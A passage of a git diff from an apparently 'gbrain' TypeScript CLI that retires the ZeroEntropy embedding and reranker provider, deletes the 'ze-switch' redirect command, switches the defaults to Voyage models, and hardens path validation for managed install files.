- await engine.setConfig('ze_sunset_notice_v2_shown', 'true');
- }
- }
- } catch {
- // Banner is cosmetic; never block the upgrade.
- }
-
// PR1: skill-catalog publish consent. New installs default ON at
// `gbrain init`; EXISTING installs stay OFF (default-OFF runtime = no
// silent capability grant on upgrade) until the owner opts in HERE.
diff --git a/src/commands/ze-switch.ts b/src/commands/ze-switch.ts
deleted file mode 100644
index 90438fbdea..0000000000
--- a/src/commands/ze-switch.ts
+++ /dev/null
@@ -1,272 +0,0 @@
-/**
- * `gbrain ze-switch` — RETIRED refusal/redirect shim.
- *
- * ZeroEntropy's hosted API shuts down on ZEROENTROPY_SUNSET_DATE. Every
- * invocation refuses or redirects; nothing here mutates the brain:
- *
- * gbrain ze-switch --help Truthful usage (exit 0, engine-free)
- * gbrain ze-switch --undo [--json] Print the exact migration command that
- * returns this brain to its pre-switch
- * provider (from the stored snapshot).
- * Guidance only — exit 1, nothing changes.
- * anything else Refusal naming the canonical migration.
- *
- * Why the legacy actions are gone: the forward switch/resume have been
- * sunset-refused since v0.46.3, and the undo ACTION wrote DB-plane config
- * (engine.setConfig) that the post-v0.37 file-plane-canonical embed pipeline
- * never reads — it could rebuild the schema (dropping every vector) while the
- * runtime kept resolving the old model. Printing the verified, resumable
- * `gbrain migrate embeddings` command is strictly safer than acting.
- *
- * The whole command is deleted in the v0.47 September removal release.
- */
-
-import type { BrainEngine } from '../core/engine.ts';
-import {
- ZEROENTROPY_SUNSET_DATE,
- renderCanonicalMigrationCommands,
-} from '../core/ai/defaults.ts';
-import { getCliOptions } from '../core/cli-options.ts';
-
-/** Config row written by the pre-v0.46.3 forward switch (the literal matches
- * KEY_PREVIOUS_SNAPSHOT in retrieval-upgrade-planner.ts; kept local so the
- * shim does not drag the retired planner module into its import graph). */
-const KEY_PREVIOUS_SNAPSHOT = 'ze_switch_previous_snapshot';
-
-interface ZeSwitchSnapshot {
- embedding_model: string;
- embedding_dimensions: number;
- search_reranker_enabled?: boolean;
- search_reranker_model?: string | null;
-}
-
-// Retired forward-switch flags — kept as quoted literals ONLY so the
-// generated CLI_FLAG_REGISTRY row keeps accepting them and old scripts reach
-// the refusal message naming the migration instead of dying pre-dispatch
-// with an unknown-flag error (cli.ts validates against the row BEFORE
-// dispatch; the row is generated from these literals, and safety flags like
-// '--dry-run' need quoted consumption evidence to survive regeneration).
-// The shim never consults them — every non-help/undo invocation refuses.
-// '--markdown' rode the pre-shim row (generator over-scan); kept for the
-// same old-scripts-reach-the-refusal reason. The registry-superset pin in
-// test/ze-switch-cli.test.ts makes any drop of this list loud.
-export const RETIRED_FLAGS = [
- '--dry-run',
- '--resume',
- '--force',
- '--non-interactive',
- '--yes',
- '--ignore-missing-key',
- '--ignore-env-override',
- '--confirm-reembed',
- '--markdown',
-];
-
-/** The `--brain <id>` selector is parsed and STRIPPED by the global CLI
- * option layer before dispatch, so any command this shim tells the user to
- * run must carry it explicitly — otherwise `ze-switch --brain team-x --undo`
- * reads team-x's snapshot but the printed migrate command targets the
- * ambient/default brain (a paid re-embed of the wrong corpus). */
-function brainSuffix(): string {
- const brain = getCliOptions().brain;
- return brain ? ` --brain ${brain}` : '';
-}
-
-function printHelp() {
- const cmds = renderCanonicalMigrationCommands();
- process.stdout.write(`Usage: gbrain ze-switch [--undo] [--json]
-
-RETIRED — ZeroEntropy shuts down its hosted API on ${ZEROENTROPY_SUNSET_DATE}.
-Switching a brain ONTO ZeroEntropy is refused (exit 1, reason
-provider_sunset), and the legacy dry-run/resume/undo ACTIONS no longer run.
-Every invocation refuses or redirects; nothing changes your brain.
-
-Flags:
- --undo Print the exact migration command that returns this brain to its
- pre-switch provider (read from the stored switch snapshot). No
- changes are made; run the printed command yourself. Exit 1.
- --json Machine-readable envelope on stdout.
- --help This help. Exit 0.
-
-To LEAVE ZeroEntropy (the maintained path):
- ${cmds.recommendedDryRun} # cost preview
- ${cmds.recommended}
- Playbook: skills/migrations/v0.46.3.0.md
-
-Retired flags — still accepted so old scripts get the refusal above instead
-of an unknown-flag error: ${RETIRED_FLAGS.join(' ')}
-
-This command is deleted in the September (v0.47) removal release.
-`);
-}
-
-function refusalEnvelope(
- extraMessage?: string,
- opts: { omitUndoHint?: boolean } = {},
-): {
- status: 'refused';
- reason: 'provider_sunset';
- /** The LIVE canonical migration command — what an agent should run. */
- migrate: string;
- /** The cost-preview variant — run this first. */
- migrate_preview: string;
- message: string;
-} {
- const cmds = renderCanonicalMigrationCommands();
- const brain = brainSuffix();
- const live = `${cmds.recommended}${brain}`;
- const preview = `${cmds.recommendedDryRun}${brain}`;
- const message =
- (extraMessage ? `${extraMessage}\n` : '') +
- `ze-switch is retired: ZeroEntropy shuts down its hosted API on ${ZEROENTROPY_SUNSET_DATE}.\n` +
- `To LEAVE ZeroEntropy: ${preview} # cost preview\n` +
- ` then: ${live}\n` +
- `Playbook: skills/migrations/v0.46.3.0.md` +
- // Never point a failed --undo back at --undo (guidance loop).
- (opts.omitUndoHint
- ? ''
- : `\nTo see the command that returns this brain to its pre-switch provider: gbrain ze-switch --undo`);
- return { status: 'refused', reason: 'provider_sunset', migrate: live, migrate_preview: preview, message };
-}
-
-/** Emit the envelope (stdout JSON or stderr message) and exit 1. */
-function emitAndExit(payload: { message: string } & Record<string, unknown>, json: boolean): never {
- if (json) {
- console.log(JSON.stringify(payload));
- } else {
- console.error(payload.message);
- }
- process.exit(1);
-}
-
-/** Model ids are `provider:model` tokens; the tail may nest (`ollama:model:tag`,
- * `openrouter:google/gemma`, `nvidia:nvidia/nv-embedqa-e5-v5`). The snapshot
- * row is data-plane content (writable via config set / direct DB / a mounted
- * brain), and its fields land verbatim in a command the user or a downstream
- * agent is told to RUN — so validate before interpolating and degrade to the
- * plain refusal on anything suspicious. Leading alphanumeric + no whitespace
- * means a value like `--force-sunset-target` can never inject a flag. */
-const MODEL_ID_RE = /^[A-Za-z0-9][A-Za-z0-9._-]*:[A-Za-z0-9._/:-]+$/;
-
-type SnapshotReadResult =
- | { kind: 'ok'; snapshot: ZeSwitchSnapshot }
- | { kind: 'missing' }
- | { kind: 'invalid' }
- | { kind: 'read_error' };
-
-function parseSnapshot(raw: string): ZeSwitchSnapshot | null {
- try {
- const p = JSON.parse(raw) as ZeSwitchSnapshot;
- if (
- p &&
- typeof p.embedding_model === 'string' &&
- MODEL_ID_RE.test(p.embedding_model) &&
- Number.isInteger(p.embedding_dimensions) &&
- p.embedding_dimensions > 0 &&
- // A string "false" would pass a truthiness check and then FAIL the
- // strict ===false test below, re-enabling a reranker the snapshot says
- // was off — require boolean or absent.
- (p.search_reranker_enabled == null || typeof p.search_reranker_enabled === 'boolean') &&
- (p.search_reranker_model == null ||
- (typeof p.search_reranker_model === 'string' && MODEL_ID_RE.test(p.search_reranker_model)))
- ) {
- return p;
- }
- } catch {
- /* corrupt JSON is `invalid` — the caller words the refusal */
- }
- return null;
-}
-
-/** Pure builder for the undo redirect commands (exported for tests). */
-export function buildUndoCommands(
- snapshot: ZeSwitchSnapshot,
- brainArg: string,
-): { live: string; preview: string } {
- // Fold the pre-switch reranker into the same run: `--reranker` takes a
- // model id or `off`; omitted means the migration's own default.
- // enabled===false WINS over a lingering model id — the pre-switch brain
- // had reranking off, and `migrate embeddings --reranker <model>` would
- // re-enable it (the retired undo restored `enabled` independently).
- const rerankerArg =
- snapshot.search_reranker_enabled === false
- ? ' --reranker off'
- : snapshot.search_reranker_model
- ? ` --reranker ${snapshot.search_reranker_model}`
- : '';
- const live = `gbrain migrate embeddings --to ${snapshot.embedding_model} --dim ${snapshot.embedding_dimensions}${rerankerArg}${brainArg}`;
- return { live, preview: `${live} --dry-run` };
-}
-
-/** cli.ts SELF_HELP_WITHOUT_ENGINE adapter: that record's handlers take
- * (engine, args); runZeSwitch takes (args, engine). Help never touches the
- * engine, so null is safe here. */
-export function runZeSwitchSelfHelp(_engine: never, args: string[]): Promise<void> {
- return runZeSwitch(args, null);
-}
-
-export async function runZeSwitch(args: string[], engine: BrainEngine | null): Promise<void> {
- if (args.includes('--help') || args.includes('-h')) {
- printHelp();
- process.exit(0);
- }
-
- // Both --json spellings, mirroring cli.ts's own convention.
- const json = args.some((a) => a === '--json' || (a.startsWith('--json=') && a !== '--json=false'));
-
- if (args.includes('--undo')) {
- // Read the pre-switch snapshot the old forward path stored. A missing,
- // corrupt, invalid-shape, or unreadable snapshot degrades to the plain
- // refusal (there is nothing to redirect to); `redirected` is reserved
- // for a validated snapshot. The failure states word the refusal
- // differently — telling the operator of a switched brain whose snapshot
- // failed validation that "no switch was recorded" would be false, and a
- // null engine here means the brain could not be reached at all.
- let read: SnapshotReadResult = engine ? { kind: 'missing' } : { kind: 'read_error' };
- if (engine) {
- try {
- const raw = await engine.getConfig(KEY_PREVIOUS_SNAPSHOT);
- if (raw) {
- const parsed = parseSnapshot(raw);
- read = parsed ? { kind: 'ok', snapshot: parsed } : { kind: 'invalid' };
- }
- } catch {
- read = { kind: 'read_error' };
- }
- }
-
- if (read.kind === 'ok') {
- const { live, preview } = buildUndoCommands(read.snapshot, brainSuffix());
- const message =
- `ze-switch no longer undoes in place (the retired action wrote config the runtime does not read).\n` +
- `To return this brain to its pre-switch provider, run:\n` +
- ` ${preview} # cost preview\n` +
- ` ${live}\n` +
- `(This reflects the recorded pre-switch snapshot; the preview shows the live\n` +
- ` current->target plan and the migration verifies against the database before\n` +
- ` changing anything — a brain that already migrated will report nothing to do.)`;
- emitAndExit(
- {
- status: 'redirected',
- reason: 'provider_sunset',
- undo_command: live,
- undo_preview: preview,
- message,
- },
- json,
- );
- }
-
- const undoFailure =
- read.kind === 'invalid'
- ? 'A switch snapshot exists but is unreadable or failed validation — inspect the ze_switch_previous_snapshot config row before trusting any undo guidance.'
- : read.kind === 'read_error'
- ? 'Could not read the switch snapshot (no brain configured, or the config read failed) — check the brain connection and retry.'
- : 'No prior switch snapshot recorded — nothing to undo.';
- emitAndExit(refusalEnvelope(undoFailure, { omitUndoHint: true }), json);
- }
-
- // Every other invocation — bare, --dry-run, --resume, --non-interactive,
- // --force, any combination — refuses.
- emitAndExit(refusalEnvelope(), json);
-}
diff --git a/src/core/advisor/collect-setup-smells.ts b/src/core/advisor/collect-setup-smells.ts
index 15c6e7a89d..748869dab6 100644
--- a/src/core/advisor/collect-setup-smells.ts
+++ b/src/core/advisor/collect-setup-smells.ts
@@ -40,42 +40,34 @@ export const collectSetupSmells: AdvisorCollector = {
collector: 'setup-smells',
ask_user: true,
});
+ } else if (!cfg.embedding_model?.trim()) {
+ findings.push({
+ id: 'embedding_identity_missing',
+ severity: 'warn',
+ title: 'The embedding model is unconfigured — existing vectors are not reinterpreted using a default.',
+ detail: 'Run gbrain migrate embeddings --status and preview an explicit migration with gbrain migrate embeddings --to voyage:voyage-4 --dim 1024 --dry-run. Keyword search remains available.',
+ fix: { command_argv: null },
+ collector: 'setup-smells',
+ ask_user: true,
+ });
} else {
- // v0.46.3: key the "will embeds work" claim on the EFFECTIVE model —
- // configless brains resolve the legacy runtime fallback until the
- // September cutover, so the credential that matters is that provider's,
- // not the recommended default's. Both key planes are checked (env +
- // file config; the DB plane is never read by the embed pipeline).
- const { DEFAULT_EMBEDDING_MODEL } = await import('../ai/defaults.ts');
const { getRecipe } = await import('../ai/recipes/index.ts');
- const effectiveModel = cfg.embedding_model ?? DEFAULT_EMBEDDING_MODEL;
+ const effectiveModel = cfg.embedding_model;
const provider = effectiveModel.split(':')[0];
const recipe = getRecipe(provider);
const keyName = recipe?.auth_env?.required?.[0];
const fileKeys: Record<string, string | undefined> = {
OPENAI_API_KEY: cfg.openai_api_key,
VOYAGE_API_KEY: cfg.voyage_api_key,
- ZEROENTROPY_API_KEY: cfg.zeroentropy_api_key,
};
const keyMissing = !!keyName && !process.env[keyName] && !fileKeys[keyName];
if (keyMissing) {
- const { NEW_INSTALL_DEFAULT_EMBEDDING_MODEL, renderCanonicalMigrationCommands } =
- await import('../ai/defaults.ts');
- const rep = recipe?.sunset?.replacement?.embedding;
- const migrateCmd = !rep || rep === NEW_INSTALL_DEFAULT_EMBEDDING_MODEL
- ? renderCanonicalMigrationCommands().recommendedDryRun
- : `gbrain migrate embeddings --to ${rep} --dry-run`;
- const sunsetNote = recipe?.sunset
- ? ` NOTE: ${recipe.name} shuts down ${recipe.sunset.date} — migrate instead of ` +
- `setting its key: \`${migrateCmd}\`.`
- : '';
findings.push({
id: 'embedding_key_missing',
severity: 'warn',
title: `Embedding resolves to ${effectiveModel} but ${keyName} is not set — embedding will fail at write time.`,
detail:
`Set ${keyName} in the environment (or add it to ~/.gbrain/config.json).` +
- sunsetNote +
' To switch providers: `gbrain init --force --embedding-model voyage:voyage-4` with VOYAGE_API_KEY set.',
fix: { command_argv: null },
collector: 'setup-smells',
diff --git a/src/core/agent-install/environment.ts b/src/core/agent-install/environment.ts
index e871e52f62..69ee009a7b 100644
--- a/src/core/agent-install/environment.ts
+++ b/src/core/agent-install/environment.ts
@@ -7,7 +7,7 @@ export const AGENT_PROVIDER_ENV_PREFIXES = [
'GOOGLE_GENERATIVE_AI_', 'GROQ_', 'LITELLM_', 'LLAMA_SERVER_', 'LMSTUDIO_',
'MINIMAX_', 'MISTRAL_', 'MOONSHOT_', 'NAN_', 'NVIDIA_', 'OLLAMA_',
'OPENAI_', 'OPENROUTER_', 'PERPLEXITY_', 'TOGETHER_', 'VOYAGE_',
- 'ZEROENTROPY_', 'ZHIPUAI_',
+ 'ZHIPUAI_',
] as const;
const exact = ['DATABASE_URL', 'BUN_OPTIONS', 'NODE_OPTIONS', 'CLAUDE_CODE_OAUTH_TOKEN'];
diff --git a/src/core/agent-install/state.ts b/src/core/agent-install/state.ts
index 9c9fe0d21a..9caaaf3509 100644
--- a/src/core/agent-install/state.ts
+++ b/src/core/agent-install/state.ts
@@ -85,12 +85,20 @@ export function assertNoSymlinks(path: string): void {
}
}
-export function confinedPath(root: string, relative: string): string {
- if (!relative || isAbsolute(relative) || relative.includes('\\') || relative.split('/').some(p => !p || p === '.' || p === '..') || /[\0\r\n]/.test(relative)) {
+export function checkedRelativePath(relative: string): string {
+ if (!relative || /[\\<>:"|?*\x00-\x1f\x7f]/.test(relative)
+ || relative.split('/').some(p => !p || p === '.' || p === '..' || /[. ]$/.test(p)
+ || /^(?:con|prn|aux|nul|conin\$|conout\$|com[1-9¹²³]|lpt[1-9¹²³])(?: *\.| *$)/i.test(p))) {
throw new AgentInstallError('invalid_relative_path', `Invalid managed relative path: ${JSON.stringify(relative)}`);
}
- const target = resolve(root, relative);
- if (!target.startsWith(root + sep)) throw new AgentInstallError('path_escape', 'Managed path escapes storage root.');
+ return relative;
+}
+
+export function confinedPath(root: string, relative: string): string {
+ checkedRelativePath(relative);
+ const base = checkedRoot(root);
+ const target = resolve(base, relative);
+ if (!target.startsWith(base.endsWith(sep) ? base : base + sep)) throw new AgentInstallError('path_escape', 'Managed path escapes storage root.');
assertNoSymlinks(target);
return target;
}
@@ -130,15 +138,17 @@ export function privateWrite(path: string, contents: string | Uint8Array, mode =
export function installReceiptPath(root: string): string { return join(root, '.gbrain', 'agent-install', 'receipt.json'); }
/** A data inventory cannot include installer internals, credentials or another inventory root. */
-export function checkedManagedPaths(root: string, input: unknown): string[] {
+export function checkedManagedPaths(root: string | null, input: unknown): string[] {
if (!Array.isArray(input) || input.some(path => typeof path !== 'string')) throw new AgentInstallError('invalid_managed_paths', 'Invalid managed path inventory.');
const paths = input as string[];
for (const path of paths) {
- confinedPath(root, path);
- const first = path.split('/')[0];
+ if (root === null) checkedRelativePath(path);
+ else confinedPath(root, path);
+ const first = path.split('/')[0].toLowerCase();
if (['.gbrain', 'runtime', 'bin', 'restore-receipt.json'].includes(first) || first.startsWith('.restore-') || first.startsWith('.gbrain-')) throw new AgentInstallError('invalid_managed_paths', 'Managed data cannot include installer, credential or restore state.');
}
- if (paths.some((path, i) => paths.some((other, j) => i !== j && (path === other || path.startsWith(other + '/'))))) throw new AgentInstallError('invalid_managed_paths', 'Managed inventory paths overlap.');
+ const keys = paths.map(path => path.normalize('NFC').toLowerCase());
+ if (keys.some((path, i) => keys.some((other, j) => i !== j && (path === other || path.startsWith(other + '/'))))) throw new AgentInstallError('invalid_managed_paths', 'Managed inventory paths overlap.');
return paths;
}
diff --git a/src/core/ai/base-url-probe.ts b/src/core/ai/base-url-probe.ts
index 9c9b88fa38..0a7ca39391 100644
--- a/src/core/ai/base-url-probe.ts
+++ b/src/core/ai/base-url-probe.ts
@@ -1,42 +1,3 @@
-/**
- * Base-URL fault classifier for openai-compatible proxies, used by
- * `gbrain models doctor` when a chat/embed/rerank probe fails with an `auth`
- * (401/403) or `model_not_found` (404) error. It probes the shared `/models`
- * endpoint at the configured base URL and each canonical version off its root,
- * then classifies the status codes into one targeted verdict, so the doctor
- * points at the real fault (missing or wrong version prefix, wrong endpoint, or
- * a plain credential / model-name problem) instead of a bare error.
- *
- * PROVIDER-AGNOSTIC BY DESIGN. The classifier never hardcodes which providers
- * serve a `/models` list; it reads the actual status and reasons from that.
- * This is deliberate, because openai-compatible endpoints fall into classes that
- * behave differently and the set churns:
- *
- * - AUTHENTICATED `/models` (litellm, ollama, llama-server, most hosted
- * OpenAI-shaped APIs). The canonical missing-`/v1` case lives here: bare
- * `/models` 404s or 401s while `/v1/models` 200s, so append/switch. On an
- * auth failure the control-probe (an unauthenticated GET on the winning
- * path) confirms the key when `/models` requires auth, upgrading the hint to
- * a definite "the key authenticates at /v1".
- * - PUBLIC `/models` (OpenRouter serves `https://openrouter.ai/api/v1/models`
- * with no key). A bad key still 200s the configured `/models`, yielding
- * `key-or-model` ("URL works, check the key"); and the control-probe returns
- * 200 unauthenticated, so we fall to the honest `switch-or-key` rather than
- * a false "the key authenticates". Correct with no special-casing, because
- * we read the observed statuses.
- * - NO `/models` LIST (Voyage serves only `/v1/embeddings`; zeroentropyai, the
- * default reranker, only `/v1/models/rerank`). Every probed `/models` 404s.
- * On an auth failure that is `wrong-endpoint`, whose wording leads with the
- * key (the base URL is demonstrably reachable, since the real call already
- * 401'd); on a `model_not_found` failure the classifier stays SILENT, so a
- * Voyage model-name typo never gets a misleading "fix your base URL".
- *
- * Because every verdict comes from observed `/models` status, adding or changing
- * a provider needs no change here. `probeOpenAICompat` in `./probes.ts` is a
- * separate concern (the providers wizard's unauthenticated, JSON-shape-
- * validating, fixed `/v1/models`, boolean-verdict local detector).
- */
-
import { resolveRecipe } from './model-resolver.ts';
import type { AIGatewayConfig } from './types.ts';
diff --git a/src/core/ai/build-gateway-config.ts b/src/core/ai/build-gateway-config.ts
index 6b99daa8c4..278596b0c4 100644
--- a/src/core/ai/build-gateway-config.ts
+++ b/src/core/ai/build-gateway-config.ts
@@ -1,21 +1,3 @@
-/**
- * buildGatewayConfig — translate a stored GBrainConfig into the gateway's
- * AIGatewayConfig (env dict + base_urls + model strings).
- *
- * v0.42 (#1780 Gap 2): extracted from src/cli.ts into a core module so
- * `src/core/init-embed-check.ts` can reuse it without importing the CLI
- * entrypoint (which would create a load-time cycle). cli.ts re-exports
- * `buildGatewayConfig` for back-compat with existing callers + tests that
- * import it from `../../src/cli.ts`.
- *
- * The single ownership site for: (a) folding file-plane API keys
- * (openai/anthropic/zeroentropy/openrouter/voyage/dashscope/google) into the gateway env, and (b) threading
- * local-server `*_BASE_URL` env vars into base_urls. Both matter for the
- * init-time embedding-key probe — without (a) it would false-warn on
- * config.json-keyed users, and without (b) a live probe could hit the wrong
- * endpoint (custom OpenAI base URL, llama-server, etc.).
- */
-
import type { GBrainConfig } from '../config.ts';
import { loadConfig } from '../config.ts';
import type { AIGatewayConfig } from './types.ts';
@@ -96,6 +78,7 @@ export function buildGatewayConfig(c: GBrainConfig): AIGatewayConfig {
return {
embedding_model: c.embedding_model,
+ embedding_identity_unverified: !c.embedding_model?.trim(),
embedding_dimensions: c.embedding_dimensions,
embedding_multimodal_model: c.embedding_multimodal_model,
embedding_image_ocr_model: c.embedding_image_ocr_model,
diff --git a/src/core/ai/defaults.ts b/src/core/ai/defaults.ts
index 9251f6113d..24dea7a005 100644
--- a/src/core/ai/defaults.ts
+++ b/src/core/ai/defaults.ts
@@ -12,174 +12,13 @@
* install AND every doctor consistency check.
*/
-// LEGACY CONFIGLESS RUNTIME FALLBACK — not the new-install default anymore.
-//
-// v0.36.0 chose ZeroEntropy as the system default (11/20 eval wins vs OpenAI
-// and Voyage). ZeroEntropy's hosted API shuts down on ZEROENTROPY_SUNSET_DATE,
-// so v0.46.3 split the default: these two constants now serve ONLY brains with
-// no `embedding_model` in file config (old/hand-rolled installs whose stored
-// vectors live in ZE's 1280d space — flipping this under them would break
-// retrieval BEFORE the provider itself dies). Every new-install surface reads
-// NEW_INSTALL_DEFAULT_* below. The September removal release deletes this
-// fallback and hard-errors unmigrated configless brains with the migrate
-// command. Do NOT point anything new at these.
-export const DEFAULT_EMBEDDING_MODEL = 'zeroentropyai:zembed-1';
-export const DEFAULT_EMBEDDING_DIMENSIONS = 1280;
+export const DEFAULT_EMBEDDING_MODEL = 'voyage:voyage-4';
+export const DEFAULT_EMBEDDING_DIMENSIONS = 1024;
+export const NEW_INSTALL_DEFAULT_EMBEDDING_MODEL = DEFAULT_EMBEDDING_MODEL;
+export const NEW_INSTALL_DEFAULT_EMBEDDING_DIMENSIONS = DEFAULT_EMBEDDING_DIMENSIONS;
+export const DEFAULT_RERANKER_MODEL = 'voyage:rerank-2.5';
+export const NEW_INSTALL_DEFAULT_RERANKER_MODEL = DEFAULT_RERANKER_MODEL;
-// NEW-INSTALL DEFAULT (v0.46.3): voyage-4 @ 1024d.
-//
-// Why Voyage: ZeroEntropy covered BOTH gbrain touchpoints (embedding +
-// reranking); Voyage is the only replacement that covers both on one key
-// (rerank-2.5 rides VOYAGE_API_KEY; OpenAI has no reranker API), the
-// multimodal model is already voyage:voyage-multimodal-3, and the voyage-4
-// family is the current hosted retrieval SOTA. Why voyage-4 (not -large/-lite):
-// $0.06/M ≈ zembed-1's $0.05/M, and the v4 trio SHARES ONE EMBEDDING SPACE —
-// a brain indexed with voyage-4 can later point its query model at
-// voyage-4-large or -lite with no reindex, so the within-family choice is
-// reversible. 1024 is a valid Voyage Matryoshka step {256, 512, 1024, 2048}
-// and matches the embedding_image/embedding_multimodal widths.
-//
-// Consumers (new-install surfaces ONLY): init auto-pick canonical tiebreak,
-// the interactive picker default, the no-keys hint, keyless fresh-install
-// schema sizing (passed as an explicit init param — the schema generators keep
-// importing the legacy constants for existing-brain reconnects), and all
-// recommendation copy (playbook, banners, doctor fix-hints, advisor).
-export const NEW_INSTALL_DEFAULT_EMBEDDING_MODEL = 'voyage:voyage-4';
-export const NEW_INSTALL_DEFAULT_EMBEDDING_DIMENSIONS = 1024;
-
-/**
- * Recommended reranker (v0.46.3) — Voyage rerank-2.5 rides the same
- * VOYAGE_API_KEY as the new-install embedding default. The migration playbook
- * names it for migrating users, and since v0.48.2 it is ALSO the runtime /
- * mode-bundle default below, so init no longer writes it as an explicit
- * `search.reranker.model` row (an explicit row equal to the bundle value
- * would only earn a doctor `search_mode` reset nag).
- */
-export const NEW_INSTALL_DEFAULT_RERANKER_MODEL = 'voyage:rerank-2.5';
-
-/**
- * RUNTIME / MODE-BUNDLE reranker default — the ONE code home (#3657 seam) for
- * what the three mode bundles (`src/core/search/mode.ts`
- * MODE_BUNDLES.*.reranker_model) and the gateway's runtime fallback
- * (`src/core/ai/gateway.ts`) resolve to when no explicit
- * `search.reranker.model` is configured. v0.48.2 flipped it from the
- * sunsetting ZeroEntropy zerank-2 to Voyage rerank-2.5 ahead of the
- * 2026-09-04 hosted shutdown. Keyless brains fail open per search
- * (`RerankError('no_key')`, one audit row per process, no stderr) — see
- * `reranker-readiness.ts` for the shared "is it actually running" predicate.
- * Pinned by test/reranker-default-seam.test.ts.
- */
-export const DEFAULT_RERANKER_MODEL = NEW_INSTALL_DEFAULT_RERANKER_MODEL;
-
-/**
- * HISTORICAL legacy value — the sunsetting ZeroEntropy zerank-2 that was the
- * bundle/runtime default from v0.36 through v0.47.9. Nothing resolves to it
- * by default anymore; it stays a named constant so the RERANKER_SUNSETS row,
- * the sunset short-circuit tests, the ze-exposure copy and the migration
- * playbook can name it. The RERANKER_SUNSETS row STAYS as long as the recipe
- * exists: an explicit `zeroentropyai:*` config would otherwise re-introduce
- * the 5s-per-query dead-call hang past the date. Do NOT point new code here.
- */
-export const LEGACY_DEFAULT_RERANKER_MODEL = 'zeroentropyai:zerank-2';
-
-/**
- * ZeroEntropy announced (2026-07-24) that its hosted API — including
- * /models/embed and /models/rerank — shuts down on this date. Query
- * embedding uses the same endpoint as ingestion, so a brain still on a
- * `zeroentropyai:*` embedding model loses semantic retrieval ENTIRELY on
- * that date (existing vectors become unqueryable, not just new content).
- * Single source of truth for the upgrade banner + the `provider_sunset`
- * doctor check. Self-hosting the Apache-2.0 zembed-1 weights is unaffected.
- */
-export const ZEROENTROPY_SUNSET_DATE = '2026-09-04';
-
-/** A reranker model family with an announced provider shutdown. */
-export interface RerankerSunset {
- /** Provider-prefix match: `model.startsWith(prefix)`. */
- prefix: string;
- /** ISO date the hosted API dies. */
- date: string;
- /** Paste-ready live replacement (`gbrain config set search.reranker.model <this>`). */
- replacement: string;
-}
-
-/**
- * Sunset list for reranker models (#3657/#4382). Doctor's `search_mode`
- * check consults this BEFORE recommending `gbrain search modes --reset`:
- * a reset that would re-arm a listed model gets the sunset date named
- * instead of the reset command, and an ACTIVE listed reranker warns with
- * the date. Prefix-matching by provider covers zerank-2/-1/-1-small in
- * one row. Retire a row in the release that deletes the provider recipe.
- */
-export const RERANKER_SUNSETS: ReadonlyArray<RerankerSunset> = Object.freeze([
- Object.freeze({
- prefix: 'zeroentropyai:',
- date: ZEROENTROPY_SUNSET_DATE,
- replacement: NEW_INSTALL_DEFAULT_RERANKER_MODEL,
- }),
-]);
-
-/**
- * Date-itself-counts sunset comparison, shared by the gateway's post-sunset
- * rerank short-circuit and the doctor's `provider_sunset` check so the two
- * surfaces cannot drift: the hosted API "shuts down ON this date", so the
- * date itself already counts as past. `dateStr` is an ISO date (YYYY-MM-DD)
- * compared against UTC midnight; `now` defaults to the wall clock (callers
- * with an injected clock/test seam pass their own).
- */
-export function sunsetDateHasPassed(dateStr: string, now: Date = new Date()): boolean {
- return now.getTime() >= Date.parse(`${dateStr}T00:00:00Z`);
-}
-
-/**
- * Sunset entry matching a reranker model string, or null when it is live.
- * Matches on the PROVIDER id the way `parseModelId` resolves it — lowercase,
- * `provider:model` or `provider/model` — so `ZeroEntropyAI:zerank-2` and
- * `zeroentropyai/zerank-2` cannot slip past the gateway short-circuit or the
- * readiness predicate while still resolving to the ZE recipe.
- */
-export function rerankerSunset(model: string | null | undefined): RerankerSunset | null {
- const provider = providerIdOf(model);
- if (!provider) return null;
- for (const s of RERANKER_SUNSETS) {
- if (`${provider}:` === s.prefix) return s;
- }
- return null;
-}
-
-/**
- * Provider id of a `provider:model` / `provider/model` string, lowercased and
- * trimmed — the same normalization `parseModelId` applies, kept dependency-free
- * so leaf callers (upgrade banner, doctor checks, init) can share it.
- */
-export function providerIdOf(model: string | null | undefined): string {
- if (!model) return '';
- const lower = model.trim().toLowerCase();
- const sep = lower.search(/[:/]/);
- return sep === -1 ? lower : lower.slice(0, sep);
-}
-
-/** True when the model string names the ZeroEntropy provider in any casing/separator form. */
-export function isZeroEntropyModel(model: string | null | undefined): boolean {
- return providerIdOf(model) === 'zeroentropyai';
-}
-
-/**
- * ONE canonical rendering of the sunset-migration command for every surface
- * that tells a user/agent how to leave a dying provider (gateway deprecation
- * line, init warnings, upgrade banners, doctor provider_sunset, ze-switch
- * refusal, advisor). Before this, five surfaces printed five different
- * commands — including one with an unsubstituted placeholder and this
- * brain's current width as `--dim`, which is INVALID on Voyage (valid
- * widths: 256/512/1024/2048). Rules:
- * - the Voyage command ALWAYS carries `--dim 1024` (never the brain's
- * current width);
- * - the keep-width OpenAI alternative renders only when the current
- * column width is known and <= 1536 (text-embedding-3-small's cap);
- * - the note explains the rebuild whenever the width changes.
- * Lives here (zero-dep constants module) so every consumer can import it
- * without cycles; drift-guarded by test against the doc/skill copies.
- */
export function renderCanonicalMigrationCommands(opts: { colDims?: number | null } = {}): {
/** Live run (agents append --yes themselves after consent). */
recommended: string;
diff --git a/src/core/ai/dims.ts b/src/core/ai/dims.ts
index b30118e807..465a74fb29 100644
--- a/src/core/ai/dims.ts
+++ b/src/core/ai/dims.ts
@@ -63,24 +63,6 @@ export function isValidVoyageOutputDim(dims: number): boolean {
return (VOYAGE_VALID_OUTPUT_DIMS as readonly number[]).includes(dims);
}
-// v0.35.0.0+ ZeroEntropy zembed-1 flexible-dim allowlist. zembed-1 distills
-// from zerank-2 (Matryoshka-style); smaller dims trade quality for storage.
-// ZE rejects any other value with HTTP 400; catching it locally produces a
-// clearer error with the valid-values hint. Same failure mode as the Voyage
-// case: `embedding_model: zeroentropyai:zembed-1` configured without
-// `embedding_dimensions` falls back to DEFAULT_EMBEDDING_DIMENSIONS=1536
-// (an OpenAI default), which ZE doesn't accept.
-const ZEROENTROPY_DIM_MODELS = new Set(['zembed-1']);
-export const ZEROENTROPY_VALID_DIMS = [2560, 1280, 640, 320, 160, 80, 40] as const;
-
-export function supportsZeroEntropyDimension(modelId: string): boolean {
- return ZEROENTROPY_DIM_MODELS.has(modelMatchKey(modelId));
-}
-
-export function isValidZeroEntropyDim(dims: number): boolean {
- return (ZEROENTROPY_VALID_DIMS as readonly number[]).includes(dims);
-}
-
// v0.36.0.0 (D13): OpenAI text-embedding-3-* accepts arbitrary truncation via
// Matryoshka — any positive integer up to the model's native size. When a
// brain is configured with `embedding_dimensions` OUTSIDE that range, OpenAI
